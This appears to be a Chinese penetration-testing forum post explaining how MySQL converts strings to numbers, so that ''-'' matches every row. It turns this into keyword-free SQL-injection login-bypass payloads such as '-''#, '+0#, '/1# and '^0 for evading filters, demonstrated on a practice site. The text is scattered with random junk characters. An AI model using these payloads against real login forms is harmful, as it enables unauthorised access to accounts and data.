我们先来看这样一个场景。 有以下表结构: mysql> desc admin;: `; B0 a- ?6 @; o. [& M( I +----------+--------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra |8 _7 T9 c) K6 ` X+ c9 v5 _0 W +----------+--------------+------+-----+---------+----------------+ | id | mediumint(9) | NO | PRI | NULL | auto_increment | | name | char(32) | NO | UNI | NULL | | | password | char(32) | NO | UNI | NULL | | +----------+--------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec) 执行select * from admin;,成功返回所有记录内容。& ~7 e t# Y1 c: ~ i7 h4 O - b& f9 \8 V* Y7 d: q$ Z: U+ F1 D +----+--------+----------------------------------+5 t' W( r$ B% ~! \8 I, ^9 n$ t | id | name | password | +----+--------+----------------------------------+5 l0 B3 S' l' z) R | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+- o! G$ x$ W( U- Z* [ 3 rows in set (0.00 sec)/ B, q# u4 \( q" c4 x* R3 B6 ?& T 执行select * from admin where name=”;,没有匹配到任何记录。 mysql> select * from admin where name = ''; Empty set (0.00 sec)8 r- U: M c+ J" F 那么我们来执行select * from admin where name = ”-”;3 ]: K& L1 V# T +----+--------+----------------------------------+& r0 l& o) q1 S/ O* b" } | id | name | password | +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |2 d; `. Z m# e4 ]! o | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |2 F/ v, H" R- T7 a3 |3 n | 4 | n00b | ff80e8508d39047460921792273533a4 |4 P3 U# }5 a! L' ?9 ~# B4 R +----+--------+----------------------------------+- F! X2 a# l, s- x1 K/ U 3 rows in set, 3 warnings (0.00 sec): P4 s1 m% F- t7 ?) d 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: ( S% T- _! Q( h mysql> show warnings; +---------+------+------------------------------------------ | Level | Code | Message +---------+------+------------------------------------------ | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin& [: g6 [8 x! v! Z, S) N( H- p | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s3 _; D. \$ C7 I! B& I | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b, T/ A0 T6 P, E0 j: {" W +---------+------+------------------------------------------ 3 rows in set (0.00 sec)! ]! N. X0 u# x: \* w 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 % o1 V2 M( _% K$ q& ] mysql> select ''-''; +-------+ | ''-'' |2 E* o7 D2 K. F$ K: x/ j# c! _ +-------+3 F8 O$ D4 T& V. Y2 B. ? | 0 |; F6 p. N/ O0 U0 J) I +-------+8 C. @* Z" e5 e% n$ J2 z3 g 1 row in set (0.00 sec)* s- y. B2 B/ s( r5 t 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: + F% O( G7 c# G% S" o . \2 f! o. j0 ~1 f6 }8 l* F mysql> select CAST((select name from admin limit 1,1) as DECIMAL); +-----------------------------------------------------+5 }8 d$ R8 | N2 e3 K% Y" ?, V | CAST((select name from admin limit 1,1) as DECIMAL) | D! ?8 u6 N! X- Q/ Q8 U +-----------------------------------------------------+0 K/ r( R/ ]' ^9 \$ H | 0 | +-----------------------------------------------------+/ ^- Y5 U: i/ N0 s' h1 d1 ?; i! ~3 g 1 row in set, 1 warning (0.00 sec) 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 SQL注入场景: http://www.sqlzoo.net/hack/ / l$ i$ U6 I( [9 b 6 C8 K1 I4 p. C9 V& X% r. ] 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 8 T) A$ U7 d, t! o & A5 w6 y6 q; X, |6 r' f8 c 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 + B. H; k" D/ Y: O( C % `/ Q' F7 E, X 7 w: ~# c% U8 r) O - d& l6 r" ?, y* y 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 0 O' p# H+ a5 @& J : _; w& ]. } b2 C 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可 $ b' r6 n( S9 Y) t2 ] / F/ z% B$ l( I( D mysql> select ''/1; +------+ | ''/1 | +------+& K& ?5 j( \7 p1 _2 N/ E | 0 | +------+9 P& m1 I* s! {( x0 Y* X* } 1 row in set (0.00 sec) 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。 |
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |